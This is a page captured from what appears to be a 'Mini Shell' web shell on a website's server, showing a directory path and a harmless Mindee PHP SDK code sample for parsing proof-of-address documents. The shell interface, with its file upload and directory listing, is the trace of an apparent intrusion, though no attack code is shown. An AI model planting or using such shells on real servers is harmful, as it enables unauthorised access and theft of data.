HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/vendor/mindee/mindee/docs/code_samples/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/mindee/mindee/docs/code_samples/proof_of_address_v1.txt
<?php

use Mindee\Client;
use Mindee\Product\ProofOfAddress\ProofOfAddressV1;

// Init a new client
$mindeeClient = new Client("my-api-key");

// Load a file from disk
$inputSource = $mindeeClient->sourceFromPath("/path/to/the/file.ext");

// Parse the file
$apiResponse = $mindeeClient->parse(ProofOfAddressV1::class, $inputSource);

echo $apiResponse->document;